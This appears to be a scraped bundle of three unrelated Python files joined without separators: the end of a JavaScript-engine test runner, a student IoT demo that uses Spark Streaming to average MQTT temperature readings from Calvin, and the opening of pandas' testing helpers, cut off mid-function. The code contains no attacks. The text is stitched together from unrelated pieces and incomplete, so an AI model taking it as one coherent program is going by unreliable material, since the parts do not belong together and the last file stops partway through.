parallel_runner.ParallelTestSuite() return unittest.TestSuite() def run_tests(options, suites): resultMessages = [] num_failures = 0 print('Test suites:') print([s[0] for s in suites]) # Run the discovered tests testRunner = unittest.TextTestRunner(verbosity=2) for mod_name, suite in suites: print('Running %s: (%s tests)' % (mod_name, suite.countTestCases())) res = testRunner.run(suite) msg = ('%s: %s run, %s errors, %s failures, %s skipped' % (mod_name, res.testsRun, len(res.errors), len(res.failures), len(res.skipped))) num_failures += len(res.errors) + len(res.failures) resultMessages.append(msg) if len(resultMessages) > 1: print('====================') print() print('TEST SUMMARY') for msg in resultMessages: print(' ' + msg) # Return the number of failures as the process exit code for automating success/failure reporting. return min(num_failures, 255) def parse_args(args): parser = argparse.ArgumentParser(prog='runner.py', description=__doc__) parser.add_argument('-j', '--js-engine', help='Set JS_ENGINE_OVERRIDE') parser.add_argument('tests', nargs='*') return parser.parse_args() def main(args): options = parse_args(args) if options.js_engine: if options.js_engine == 'SPIDERMONKEY_ENGINE': Building.JS_ENGINE_OVERRIDE = SPIDERMONKEY_ENGINE elif options.js_engine == 'V8_ENGINE': Building.JS_ENGINE_OVERRIDE = V8_ENGINE elif options.js_engine == 'NODE_JS': Building.JS_ENGINE_OVERRIDE = NODE_JS else: print('Unknown js engine override: ' + options.js_engine) return 1 print("Overriding JS engine: " + Building.JS_ENGINE_OVERRIDE[0]) check_js_engines() def prepend_default(arg): if arg.startswith('test_'): return default_core_test_mode + '.' + arg return arg tests = [prepend_default(t) for t in options.tests] modules = get_and_import_modules() all_tests = get_all_tests(modules) tests = tests_with_expanded_wildcards(tests, all_tests) tests = skip_requested_tests(tests, modules) tests = args_for_random_tests(tests, modules) suites, unmatched_tests = load_test_suites(tests, modules) if unmatched_tests: print('ERROR: could not find the following tests: ' + ' '.join(unmatched_tests)) return 1 return run_tests(options, suites) if __name__ == '__main__': try: sys.exit(main(sys.argv)) except KeyboardInterrupt: logger.warning('KeyboardInterrupt') sys.exit(1)
SparkMQTTStage1.py
######################################################################## # This is implementation for Cloud + Edge = iotx Stage 1. Cloud is represented # by Apache Spark and Edge computing framework is Calvin. Apache Spark is # receiving temperature data from Calvin via MQTT (pub/sub model). This # program calculates running average using windowing and sliding interval # technique and sends the result back to Calvin via MQTT. Make use of Paho # MQTT client package to connect to MQTT broker to collect and publish data. # # iotx stage 1 demo # # Author: Aarti Gorade # Email: ahg1512@rit.edu # # Invocation: # # Docker image: aarti/sparkstage1-iotx # Docker file: DockerfileSparkMQTTStage1 # # OR # # Command line: # ./sbin/start-master.sh # ./bin/spark-class org.apache.spark.deploy.worker.Worker spark://<Spark # Master's Ip address>:<Spark Master's Port> # ./bin/spark-submit # --packages org.apache.spark:spark-streaming-mqtt-assembly_2.11:1.5.0 # python/SparkMQTTStage1_1.py # ######################################################################## import socket from collections import deque from threading import Thread from time import sleep import paho.mqtt.client as mqtt from pyspark import SparkContext from pyspark.streaming import StreamingContext # MQTT client mqttc = None # Queue to store calculated average values queue = deque([]) # Spark Broker details sparkBroker = "iot.eclipse.org" sparkPort = 1883 sparkTopic = "edu/rit/iotx/cloud/average/temperature" # Calvin broker URI brokerUrl = "tcp://iot.eclipse.org:1883" # Topic pattern where temperature data is being sent topic = "edu/rit/iotx/+/temperature" brokerFromCalvin = "iot.eclipse.org" portFromCalvin = 1883 # counters to keep track of running sum and count to calculate average value sumAccum = 0 countAccum = 0 # window and sliding interval using for calculating average over each window of # incoming Spar Stream windowInterval = 30 slidingInterval = 15 class PahoMQTT(mqtt.Client): """ Paho mqtt client to connect to MQTT server to received data being published by Calvin and collects all different topic names """ # set to store all unique topic names mqttDataQueue = deque([]) def on_message(self, mqttc, obj, msg): """ Add topic name to the set when the data is received from MQTT server :param mqttc: mqtt client :param obj: received object :param msg: data mqtt payload :return: None """ PahoMQTT.mqttDataQueue.append(msg.payload) # print("received from MQTT broker = ",msg.payload) def run(self, broker, port, topic): """ Connect to the MQTT broker and subscribe to the the topic to receive the data being published by Calvin continuously :return: """ self.connect(broker, port, 60) self.subscribe(topic, 0) rc = 0 while rc == 0: rc = self.loop() return rc def getHostIpAddress(): """ Get global Ip Address of the current machine :return: Ip address """ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] s.close() return ip # Ip address and port number for Spark cluster hostAddress = getHostIpAddress() hostPort = "7077" def connectToBroker(broker, port): """ This is the function responsible for creating MQTT client and connecting to the give broker server on desired port :param broker: broker server :param port: port to connect to :return: None """ global mqttc mqttc = mqtt.Client() print "Trying to connect to broker..." mqttc.connect(broker, port) print "Successfully connected!!!" def addToQueue(rdd): """ This is the function responsible for adding calculated average values into the queue :param rdd: RDD containing calculated average values :return: None """ rddList = rdd.collect() subList = [float(x[0]) for x in rddList] global queue queue.extend(subList) def publishResults(): """ This is the function responsible for fetching data from queue and publishing it using MQTT :return: None """ print("\n\nPublishing results...") global mqttc global queue mqttClient = mqttc while True: while not (queue): sleep(slidingInterval) data = queue.popleft() print(data) mqttClient.publish(sparkTopic, data) def update(x): """ Add the incoming new item in current sliding window interval into the sum :param x: new value :return: current average value """ global sumAccum global countAccum sumAccum += x countAccum += 1 return (sumAccum / countAccum) def reverseUpdate(x): """ Remove item from old sliding window interval from current sum :param x: old item from last window interval :return: current average value """ global sumAccum global countAccum sumAccum -= x countAccum -= 1 return (sumAccum / countAccum) def WriteDataToSocket(): """ Data received from MQTT broker is written to socket to generate DStream :return: None """ port = 9999 # Reserve a port for your service. s = socket.socket() # Create a socket object host = socket.gethostname() # Get local machine name s.bind(("localhost", port)) # Bind to the port s.listen(5) # Now wait for client connection. while True: conn, addr = s.accept() # Establish connection with client. while True: while not(PahoMQTT.mqttDataQueue): sleep(1) data = PahoMQTT.mqttDataQueue.popleft() conn.send(data+"\n") conn.send('Thank you for connecting') conn.close() def collectDataFromMqttBroker(): """ Collects data from MQTT broker using Paho Client :return: None """ mqttTopicClient = PahoMQTT() rc = mqttTopicClient.run(brokerFromCalvin, portFromCalvin, topic) def getMqttData(): """ Collects data from MQTT broker using Paho Client and Write data to socket to generate DStream :return: None """ collectDataFromMqttBrokerWorker = Thread(target=collectDataFromMqttBroker) collectDataFromMqttBrokerWorker.setDaemon(True) collectDataFromMqttBrokerWorker.start() sleep(2) writeDataToSocketWorker = Thread(target=WriteDataToSocket) writeDataToSocketWorker.setDaemon(True) writeDataToSocketWorker.start() if __name__ == "__main__": """ This is the main function responsible for calculating average of input data stream pe window and publishing calculated average values for Calvin client usage to perform further processing using Sensors or Actuators """ # connect to Spark cluster "spark:cluster-host:port" sc = SparkContext("spark://" + hostAddress + ":" + hostPort, appName="iotx") sc.setLogLevel("ERROR") print("Created Streaming context...") ssc = StreamingContext(sc, 15) # mandatory to store checkpointed data for Spark Streaming # temp ssc.checkpoint("../tmp/SparkCheckpointedData") collectMqttDataWorker = Thread(target=getMqttData) collectMqttDataWorker.setDaemon(True) collectMqttDataWorker.start() host = socket.gethostname() # Get local machine name port = 9999 # Reserve a port for your service. print("Creating DStream ...") mqttStream = ssc.socketTextStream("localhost", port) # Convert incoming stream items to float values celsiusTemp = mqttStream.map(lambda line: float(line)) # Convert Celsius to Farenheit and store each value in pair format farenheitTemp = celsiusTemp.map( lambda temp: (str(((temp) * 9 / 5) + 32).decode("utf-8"), 1)) # lambda functions to calculate average using windowing technique update_1 = lambda x, y: update(x) reverseUpdate_1 = lambda x, y: reverseUpdate(x) # Reduce last 30 seconds of data, every 15 seconds windowedWordCounts = farenheitTemp.reduceByKeyAndWindow(update_1, reverseUpdate_1, windowInterval, slidingInterval) # connect to broker connectToBroker(sparkBroker, sparkPort) # foreachRDD is Action. Add each RDD containing average values into the # queue windowedWordCounts.foreachRDD(addToQueue) # create worker thread to fetch data from queue and publish it to broker # using MQTT worker = Thread(target=publishResults) worker.setDaemon(True) worker.start() # Start spark streaming jobs print("\nSpark jobs starting ...") ssc.start() print("\nSpark jobs waiting for termination...") # wait for 100 seconds before terminating Spark job execution ssc.awaitTermination()
_testing.py
import bz2 from collections import Counter from contextlib import contextmanager from datetime import datetime from functools import wraps import gzip import operator import os from shutil import rmtree import string import tempfile from typing import Any, Callable, ContextManager, List, Optional, Type, Union, cast import warnings import zipfile import numpy as np from numpy.random import rand, randn from pandas._config.localization import ( # noqa:F401 can_set_locale, get_locales, set_locale, ) from pandas._libs.lib import no_default import pandas._libs.testing as _testing from pandas._typing import Dtype, FilePathOrBuffer, FrameOrSeries from pandas.compat import get_lzma_file, import_lzma from pandas.core.dtypes.common import ( is_bool, is_categorical_dtype, is_datetime64_dtype, is_datetime64tz_dtype, is_extension_array_dtype, is_interval_dtype, is_number, is_numeric_dtype, is_period_dtype, is_sequence, is_timedelta64_dtype, needs_i8_conversion, ) from pandas.core.dtypes.missing import array_equivalent import pandas as pd from pandas import ( Categorical, CategoricalIndex, DataFrame, DatetimeIndex, Index, IntervalIndex, MultiIndex, RangeIndex, Series, bdate_range, ) from pandas.core.algorithms import take_1d from pandas.core.arrays import ( DatetimeArray, ExtensionArray, IntervalArray, PeriodArray, TimedeltaArray, period_array, ) from pandas.core.arrays.datetimelike import DatetimeLikeArrayMixin from pandas.io.common import urlopen from pandas.io.formats.printing import pprint_thing lzma = import_lzma() _N = 30 _K = 4 _RAISE_NETWORK_ERROR_DEFAULT = False UNSIGNED_INT_DTYPES: List[Dtype] = ["uint8", "uint16", "uint32", "uint64"] UNSIGNED_EA_INT_DTYPES: List[Dtype] = ["UInt8", "UInt16", "UInt32", "UInt64"] SIGNED_INT_DTYPES: List[Dtype] = [int, "int8", "int16", "int32", "int64"] SIGNED_EA_INT_DTYPES: List[Dtype] = ["Int8", "Int16", "Int32", "Int64"] ALL_INT_DTYPES = UNSIGNED_INT_DTYPES + SIGNED_INT_DTYPES ALL_EA_INT_DTYPES = UNSIGNED_EA_INT_DTYPES + SIGNED_EA_INT_DTYPES FLOAT_DTYPES: List[Dtype] = [float, "float32", "float64"] COMPLEX_DTYPES: List[Dtype] = [complex, "complex64", "complex128"] STRING_DTYPES: List[Dtype] = [str, "str", "U"] DATETIME64_DTYPES: List[Dtype] = ["datetime64[ns]", "M8[ns]"] TIMEDELTA64_DTYPES: List[Dtype] = ["timedelta64[ns]", "m8[ns]"] BOOL_DTYPES = [bool, "bool"] BYTES_DTYPES = [bytes, "bytes"] OBJECT_DTYPES = [object, "object"] ALL_REAL_DTYPES = FLOAT_DTYPES + ALL_INT_DTYPES ALL_NUMPY_DTYPES = ( ALL_REAL_DTYPES + COMPLEX_DTYPES + STRING_DTYPES + DATETIME64_DTYPES + TIMEDELTA64_DTYPES + BOOL_DTYPES + OBJECT_DTYPES + BYTES_DTYPES ) # set testing_mode _testing_mode_warnings = (DeprecationWarning, ResourceWarning) def set_testing_mode(): # set the testing mode filters testing_mode = os.environ.get("PANDAS_TESTING_MODE", "None") if "deprecate" in testing_mode: warnings.simplefilter("always", _testing_mode_warnings) def reset_testing_mode(): # reset the testing mode filters testing_mode = os.environ.get("PANDAS_TESTING_MODE", "None") if "deprecate" in testing_mode: warnings.simplefilter("ignore", _testing_mode_warnings) set_testing_mode() def reset_display_options(): """ Reset the display options for printing and representing objects. """ pd.reset_option("^display.", silent=True) def round_trip_pickle( obj: Any, path: Optional[FilePathOrBuffer] = None ) -> FrameOrSeries: """ Pickle an object and then read it again. Parameters ---------- obj : any object The object to pickle and then re-read. path : str, path object or file-like object, default None The path where the pickled object is written and then read. Returns ------- pandas object The original object that was pickled and then re-read. """ _path = path if _path is None: _path = f"__{rands(10)}__.pickle" with ensure_clean(_path) as temp_path: pd.to_pickle(obj, temp_path) return pd.read_pickle(temp_path) def round_trip_pathlib(writer, reader, path: Optional[str] = None): """ Write an object to file specified by a pathlib.Path and read it back Parameters ---------- writer : callable bound to pandas object IO writing function (e.g. DataFrame.to_csv ) reader : callable IO reading function (e.g. pd.read_csv ) path : str, default None The path where the object is written and then read. Returns ------- pandas object The original object that was serialized and then re-read. """ import pytest Path = pytest.importorskip("pathlib").Path if path is None: path = "___pathlib___" with ensure_clean(path) as path: writer(Path(path)) obj = reader(Path(path)) return obj def round_trip_localpath(writer, reader, path: Optional[str] = None): """ Write an object to file specified by a py.path LocalPath and read it back. Parameters ---------- writer : callable bound to pandas object IO writing function (e.g. DataFrame.to_csv ) reader : callable IO reading function (e.g. pd.read_csv ) path : str, default None The path where the object is written and then read. Returns ------- pandas object The original object that was serialized and then re-read. """ import pytest LocalPath = pytest.importorskip("py.path").local if path is None: path = "___localpath___" with ensure_clean(path) as path: writer(LocalPath(path)) obj = reader(LocalPath(path)) return obj @contextmanager def decompress_file(path, compression): """ Open a compressed file and return a file object. Parameters ---------- path : str The path where the file is read from. compression : {'gzip', 'bz2', 'zip', 'xz', None} Name of the decompression to use Returns ------- file object """ if compression is None: f = open(path, "rb") elif compression == "gzip": f = gzip.open(path, "rb") elif compression == "bz2": f = bz2.BZ2File(path, "rb") elif compression == "xz": f = get_lzma_file(lzma)(path, "rb") elif compression == "zip": zip_file = zipfile.ZipFile(path) zip_names = zip_file.namelist() if len(zip_names) == 1: f = zip_file.open(zip_names.pop()) else: raise ValueError(f"ZIP file {path} error. Only one file per ZIP.") else: raise ValueError(f"Unrecognized compression type: {compression}") try: yield f finally: f.close() if compression == "zip": zip_file.close() def write_to_compressed(compression, path, data, dest="test"): """ Write data to a compressed file. Parameters ---------- compression : {'gzip', 'bz2', 'zip', 'xz'} The compression type to use. path : str The file path to write the data. data : str The data to write. dest : str, default "test" The destination file (for ZIP only) Raises ------ ValueError : An invalid compression value was passed in. """ if compression == "zip": compress_method = zipfile.ZipFile elif compression == "gzip": compress_method = gzip.GzipFile elif compression == "bz2": compress_method = bz2.BZ2File elif compression == "xz": compress_method = get_lzma_file(lzma) else: raise ValueError(f"Unrecognized compression type: {compression}") if compression == "zip": mode = "w" args = (dest, data) method = "writestr" else: mode = "wb" args = (data,) method = "write" with compress_method(path, mode=mode) as f: getattr(f, method)(*args) def _get_tol_from_less_precise(check_less_precise: Union[bool, int]) -> float: """ Return the tolerance equivalent to the deprecated `check_less_precise` parameter. Parameters ---------- check_less_precise : bool or int Returns ------- float Tolerance to be used as relative/absolute tolerance. Examples -------- >>> # Using check_less_precise as a bool: >>> _get_tol_from_less_precise(False) 0.5e-5 >>> _get_tol_from_less_precise(True) 0.5e-3 >>> # Using check_less_precise as an int representing the decimal >>> # tolerance intended: >>> _get_tol_from_less_precise(2) 0.5e-2 >>> _get_tol_from_less_precise(8) 0.5e-8 """ if isinstance(check_less_precise, bool): if check_less_precise: # 3-digit tolerance return 0.5e-3 else: # 5-digit tolerance return 0.5e-5 else: # Equivalent to setting checking_less_precise=<decimals> return 0.5 * 10 ** -check_less_precise def assert_almost_equal( left, right, check_dtype: Union[bool, str] = "equiv", check_less_precise: Union[bool, int] = no_default, rtol: float = 1.0e-5, atol: float = 1.0e-8, **kwargs, ): """ Check that the left and right objects are approximately equal. By approximately equal, we refer to objects that are numbers or that contain numbers which may be equivalent to specific levels of precision. Parameters ---------- left : object right : object check_dtype : bool or {'equiv'}, default 'equiv' Check dtype if both a and b are the same type. If 'equiv' is passed in, then `RangeIndex` and `Int64Index` are also considered equivalent when doing type checking. check_less_precise : bool or int, default False Specify comparison precision. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the number of digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. .. deprecated:: 1.1.0 Use `rtol` and `atol` instead to define relative/absolute tolerance, respectively. Similar to :func:`math.isclose`. rtol : float, default 1e-5 Relative tolerance. .. versionadded:: 1.1.0 atol : float, default 1e-8 Absolute tolerance. .. versionadded:: 1.1.0 """ if check_less_precise is not no_default: warnings.warn( "The 'check_less_precise' keyword in testing.assert_*_equal " "is deprecated and will be removed in a future version. " "You can stop passing 'check_less_precise' to silence this warning.", FutureWarning, stacklevel=2, ) rtol = atol = _get_tol_from_less_precise(check_less_precise) if isinstance(left, pd.Index): assert_index_equal( left, right, check_exact=False, exact=check_dtype, rtol=rtol, atol=atol, **kwargs, ) elif isinstance(left, pd.Series): assert_series_equal( left, right, check_exact=False, check_dtype=check_dtype, rtol=rtol, atol=atol, **kwargs, ) elif isinstance(left, pd.DataFrame): assert_frame_equal( left, right, check_exact=False, check_dtype=check_dtype, rtol=rtol, atol=atol, **kwargs, ) else: # Other sequences. if check_dtype: if is_number(left) and is_number(right): # Do not compare numeric classes, like np.float64 and float. pass elif is_bool(left) and is_bool(right): # Do not compare bool classes, like np.bool_ and bool. pass else: if isinstance(left, np.ndarray) or isinstance(right, np.ndarray): obj = "numpy array" else: obj = "Input" assert_class_equal(left, right, obj=obj) _testing.assert_almost_equal( left, right, check_dtype=check_dtype, rtol=rtol, atol=atol, **kwargs ) def _check_isinstance(left, right, cls): """ Helper method for our assert_* methods that ensures that the two objects being compared have the right type before proceeding with the comparison. Parameters ---------- left : The first object being compared. right : The second object being compared. cls : The class type to check against. Raises ------ AssertionError : Either `left` or `right` is not an instance of `cls`. """ cls_name = cls.__name__ if not isinstance(left, cls): raise AssertionError( f"{cls_name} Expected type {cls}, found {type(left)} instead" ) if not isinstance(right, cls): raise AssertionError( f"{cls_name} Expected type {cls}, found {type(right)} instead" ) def assert_dict_equal(left, right, compare_keys: bool = True): _check_isinstance(left, right, dict) _testing.assert_dict_equal(left, right, compare_keys=compare_keys) def randbool(size=(), p: float = 0.5): return rand(*size) <= p RANDS_CHARS = np.array(list(string.ascii_letters + string.digits), dtype=(np.str_, 1)) RANDU_CHARS = np.array( list("".join(map(chr, range(1488, 1488 + 26))) + string.digits), dtype=(np.unicode_, 1), ) def rands_array(nchars, size, dtype="O"): """ Generate an array of byte strings. """ retval = ( np.random.choice(RANDS_CHARS, size=nchars * np.prod(size)) .view((np.str_, nchars)) .reshape(size) ) return retval.astype(dtype) def randu_array(nchars, size, dtype="O"): """ Generate an array of unicode strings. """ retval = ( np.random.choice(RANDU_CHARS, size=nchars * np.prod(size)) .view((np.unicode_, nchars)) .reshape(size) ) return retval.astype(dtype) def rands(nchars): """ Generate one random byte string. See `rands_array` if you want to create an array of random strings. """ return "".join(np.random.choice(RANDS_CHARS, nchars)) def close(fignum=None): from matplotlib.pyplot import close as _close, get_fignums if fignum is None: for fignum in get_fignums(): _close(fignum) else: _close(fignum) # ----------------------------------------------------------------------------- # contextmanager to ensure the file cleanup @contextmanager def ensure_clean(filename=None, return_filelike=False, **kwargs): """ Gets a temporary path and agrees to remove on close. Parameters ---------- filename : str (optional) if None, creates a temporary file which is then removed when out of scope. if passed, creates temporary file with filename as ending. return_filelike : bool (default False) if True, returns a file-like which is *always* cleaned. Necessary for savefig and other functions which want to append extensions. **kwargs Additional keywords passed in for creating a temporary file. :meth:`tempFile.TemporaryFile` is used when `return_filelike` is ``True``. :meth:`tempfile.mkstemp` is used when `return_filelike` is ``False``. Note that the `filename` parameter will be passed in as the `suffix` argument to either function. See Also -------- tempfile.TemporaryFile tempfile.mkstemp """ filename = filename or "" fd = None kwargs["suffix"] = filename if return_filelike: f = tempfile.TemporaryFile(**kwargs) try: yield f finally: f.close() else: # Don't generate tempfile if using a path with directory specified. if len(os.path.dirname(filename)): raise ValueError("Can't pass a qualified name to ensure_clean()") try: fd, filename = tempfile.mkstemp(**kwargs) except UnicodeEncodeError: import pytest pytest.skip("no unicode file names on this system") try: yield filename finally: try: os.close(fd) except OSError: print(f"Couldn't close file descriptor: {fd} (file: {filename})") try: if os.path.exists(filename): os.remove(filename) except OSError as e: print(f"Exception on removing file: {e}") @contextmanager def ensure_clean_dir(): """ Get a temporary directory path and agrees to remove on close. Yields ------ Temporary directory path """ directory_name = tempfile.mkdtemp(suffix="") try: yield directory_name finally: try: rmtree(directory_name) except OSError: pass @contextmanager def ensure_safe_environment_variables(): """ Get a context manager to safely set environment variables All changes will be undone on close, hence environment variables set within this contextmanager will neither persist nor change global state. """ saved_environ = dict(os.environ) try: yield finally: os.environ.clear() os.environ.update(saved_environ) # ----------------------------------------------------------------------------- # Comparators def equalContents(arr1, arr2) -> bool: """ Checks if the set of unique elements of arr1 and arr2 are equivalent. """ return frozenset(arr1) == frozenset(arr2) def assert_index_equal( left: Index, right: Index, exact: Union[bool, str] = "equiv", check_names: bool = True, check_less_precise: Union[bool, int] = no_default, check_exact: bool = True, check_categorical: bool = True, rtol: float = 1.0e-5, atol: float = 1.0e-8, obj: str = "Index", ) -> None: """ Check that left and right Index are equal. Parameters ---------- left : Index right : Index exact : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. If 'equiv', then RangeIndex can be substituted for Int64Index as well. check_names : bool, default True Whether to check the names attribute. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. .. deprecated:: 1.1.0 Use `rtol` and `atol` instead to define relative/absolute tolerance, respectively. Similar to :func:`math.isclose`. check_exact : bool, default True Whether to compare number exactly. check_categorical : bool, default True Whether to compare internal Categorical exactly. rtol : float, default 1e-5 Relative tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 atol : float, default 1e-8 Absolute tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 obj : str, default 'Index' Specify object name being compared, internally used to show appropriate assertion message. """ __tracebackhide__ = True def _check_types(l, r, obj="Index"): if exact: assert_class_equal(l, r, exact=exact, obj=obj) # Skip exact dtype checking when `check_categorical` is False if check_categorical: assert_attr_equal("dtype", l, r, obj=obj) # allow string-like to have different inferred_types if l.inferred_type in ("string"): assert r.inferred_type in ("string") else: assert_attr_equal("inferred_type", l, r, obj=obj) def _get_ilevel_values(index, level): # accept level number only unique = index.levels[level] level_codes = index.codes[level] filled = take_1d(unique._values, level_codes, fill_value=unique._na_value) values = unique._shallow_copy(filled, name=index.names[level]) return values if check_less_precise is not no_default: warnings.warn( "The 'check_less_precise' keyword in testing.assert_*_equal " "is deprecated and will be removed in a future version. " "You can stop passing 'check_less_precise' to silence this warning.", FutureWarning, stacklevel=2, ) rtol = atol = _get_tol_from_less_precise(check_less_precise) # instance validation _check_isinstance(left, right, Index) # class / dtype comparison _check_types(left, right, obj=obj) # level comparison if left.nlevels != right.nlevels: msg1 = f"{obj} levels are different" msg2 = f"{left.nlevels}, {left}" msg3 = f"{right.nlevels}, {right}" raise_assert_detail(obj, msg1, msg2, msg3) # length comparison if len(left) != len(right): msg1 = f"{obj} length are different" msg2 = f"{len(left)}, {left}" msg3 = f"{len(right)}, {right}" raise_assert_detail(obj, msg1, msg2, msg3) # MultiIndex special comparison for little-friendly error messages if left.nlevels > 1: left = cast(MultiIndex, left) right = cast(MultiIndex, right) for level in range(left.nlevels): # cannot use get_level_values here because it can change dtype llevel = _get_ilevel_values(left, level) rlevel = _get_ilevel_values(right, level) lobj = f"MultiIndex level [{level}]" assert_index_equal( llevel, rlevel, exact=exact, check_names=check_names, check_exact=check_exact, rtol=rtol, atol=atol, obj=lobj, ) # get_level_values may change dtype _check_types(left.levels[level], right.levels[level], obj=obj) # skip exact index checking when `check_categorical` is False if check_exact and check_categorical: if not left.equals(right): diff = np.sum((left.values != right.values).astype(int)) * 100.0 / len(left) msg = f"{obj} values are different ({np.round(diff, 5)} %)" raise_assert_detail(obj, msg, left, right) else: _testing.assert_almost_equal( left.values, right.values, rtol=rtol, atol=atol, check_dtype=exact, obj=obj, lobj=left, robj=right, ) # metadata comparison if check_names: assert_attr_equal("names", left, right, obj=obj) if isinstance(left, pd.PeriodIndex) or isinstance(right, pd.PeriodIndex): assert_attr_equal("freq", left, right, obj=obj) if isinstance(left, pd.IntervalIndex) or isinstance(right, pd.IntervalIndex): assert_interval_array_equal(left._values, right._values) if check_categorical: if is_categorical_dtype(left.dtype) or is_categorical_dtype(right.dtype): assert_categorical_equal(left._values, right._values, obj=f"{obj} category") def assert_class_equal(left, right, exact: Union[bool, str] = True, obj="Input"): """ Checks classes are equal. """ __tracebackhide__ = True def repr_class(x): if isinstance(x, Index): # return Index as it is to include values in the error message return x return type(x).__name__ if exact == "equiv": if type(left) != type(right): # allow equivalence of Int64Index/RangeIndex types = {type(left).__name__, type(right).__name__} if len(types - {"Int64Index", "RangeIndex"}): msg = f"{obj} classes are not equivalent" raise_assert_detail(obj, msg, repr_class(left), repr_class(right)) elif exact: if type(left) != type(right): msg = f"{obj} classes are different" raise_assert_detail(obj, msg, repr_class(left), repr_class(right)) def assert_attr_equal(attr: str, left, right, obj: str = "Attributes"): """ Check attributes are equal. Both objects must have attribute. Parameters ---------- attr : str Attribute name being compared. left : object right : object obj : str, default 'Attributes' Specify object name being compared, internally used to show appropriate assertion message """ __tracebackhide__ = True left_attr = getattr(left, attr) right_attr = getattr(right, attr) if left_attr is right_attr: return True elif ( is_number(left_attr) and np.isnan(left_attr) and is_number(right_attr) and np.isnan(right_attr) ): # np.nan return True try: result = left_attr == right_attr except TypeError: # datetimetz on rhs may raise TypeError result = False if not isinstance(result, bool): result = result.all() if result: return True else: msg = f'Attribute "{attr}" are different' raise_assert_detail(obj, msg, left_attr, right_attr) def assert_is_valid_plot_return_object(objs): import matplotlib.pyplot as plt if isinstance(objs, (pd.Series, np.ndarray)): for el in objs.ravel(): msg = ( "one of 'objs' is not a matplotlib Axes instance, " f"type encountered {repr(type(el).__name__)}" ) assert isinstance(el, (plt.Axes, dict)), msg else: msg = ( "objs is neither an ndarray of Artist instances nor a single " "ArtistArtist instance, tuple, or dict, 'objs' is a " f"{repr(type(objs).__name__)}" ) assert isinstance(objs, (plt.Artist, tuple, dict)), msg def assert_is_sorted(seq): """Assert that the sequence is sorted.""" if isinstance(seq, (Index, Series)): seq = seq.values # sorting does not change precisions assert_numpy_array_equal(seq, np.sort(np.array(seq))) def assert_categorical_equal( left, right, check_dtype=True, check_category_order=True, obj="Categorical" ): """ Test that Categoricals are equivalent. Parameters ---------- left : Categorical right : Categorical check_dtype : bool, default True Check that integer dtype of the codes are the same check_category_order : bool, default True Whether the order of the categories should be compared, which implies identical integer codes. If False, only the resulting values are compared. The ordered attribute is checked regardless. obj : str, default 'Categorical' Specify object name being compared, internally used to show appropriate assertion message """ _check_isinstance(left, right, Categorical) if check_category_order: assert_index_equal(left.categories, right.categories, obj=f"{obj}.categories") assert_numpy_array_equal( left.codes, right.codes, check_dtype=check_dtype, obj=f"{obj}.codes" ) else: try: lc = left.categories.sort_values() rc = right.categories.sort_values() except TypeError: # e.g. '<' not supported between instances of 'int' and 'str' lc, rc = left.categories, right.categories assert_index_equal(lc, rc, obj=f"{obj}.categories") assert_index_equal( left.categories.take(left.codes), right.categories.take(right.codes), obj=f"{obj}.values", ) assert_attr_equal("ordered", left, right, obj=obj) def assert_interval_array_equal(left, right, exact="equiv", obj="IntervalArray"): """ Test that two IntervalArrays are equivalent. Parameters ---------- left, right : IntervalArray The IntervalArrays to compare. exact : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. If 'equiv', then RangeIndex can be substituted for Int64Index as well. obj : str, default 'IntervalArray' Specify object name being compared, internally used to show appropriate assertion message """ _check_isinstance(left, right, IntervalArray) assert_index_equal(left.left, right.left, exact=exact, obj=f"{obj}.left") assert_index_equal(left.right, right.right, exact=exact, obj=f"{obj}.left") assert_attr_equal("closed", left, right, obj=obj) def assert_period_array_equal(left, right, obj="PeriodArray"): _check_isinstance(left, right, PeriodArray) assert_numpy_array_equal(left._data, right._data, obj=f"{obj}._data") assert_attr_equal("freq", left, right, obj=obj) def assert_datetime_array_equal(left, right, obj="DatetimeArray"): __tracebackhide__ = True _check_isinstance(left, right, DatetimeArray) assert_numpy_array_equal(left._data, right._data, obj=f"{obj}._data") assert_attr_equal("freq", left, right, obj=obj) assert_attr_equal("tz", left, right, obj=obj) def assert_timedelta_array_equal(left, right, obj="TimedeltaArray"): __tracebackhide__ = True _check_isinstance(left, right, TimedeltaArray) assert_numpy_array_equal(left._data, right._data, obj=f"{obj}._data") assert_attr_equal("freq", left, right, obj=obj) def raise_assert_detail(obj, message, left, right, diff=None, index_values=None): __tracebackhide__ = True msg = f"""{obj} are different {message}""" if isinstance(index_values, np.ndarray): msg += f"\n[index]: {pprint_thing(index_values)}" if isinstance(left, np.ndarray): left = pprint_thing(left) elif is_categorical_dtype(left): left = repr(left) if isinstance(right, np.ndarray): right = pprint_thing(right) elif is_categorical_dtype(right): right = repr(right) msg += f""" [left]: {left} [right]: {right}""" if diff is not None: msg += f"\n[diff]: {diff}" raise AssertionError(msg) def assert_numpy_array_equal( left, right, strict_nan=False, check_dtype=True, err_msg=None, check_same=None, obj="numpy array", index_values=None, ): """ Check that 'np.ndarray' is equivalent. Parameters ---------- left, right : numpy.ndarray or iterable The two arrays to be compared. strict_nan : bool, default False If True, consider NaN and None to be different. check_dtype : bool, default True Check dtype if both a and b are np.ndarray. err_msg : str, default None If provided, used as assertion message. check_same : None|'copy'|'same', default None Ensure left and right refer/do not refer to the same memory area. obj : str, default 'numpy array' Specify object name being compared, internally used to show appropriate assertion message. index_values : numpy.ndarray, default None optional index (shared by both left and right), used in output. """ __tracebackhide__ = True # instance validation # Show a detailed error message when classes are different assert_class_equal(left, right, obj=obj) # both classes must be an np.ndarray _check_isinstance(left, right, np.ndarray) def _get_base(obj): return obj.base if getattr(obj, "base", None) is not None else obj left_base = _get_base(left) right_base = _get_base(right) if check_same == "same": if left_base is not right_base: raise AssertionError(f"{repr(left_base)} is not {repr(right_base)}") elif check_same == "copy": if left_base is right_base: raise AssertionError(f"{repr(left_base)} is {repr(right_base)}") def _raise(left, right, err_msg): if err_msg is None: if left.shape != right.shape: raise_assert_detail( obj, 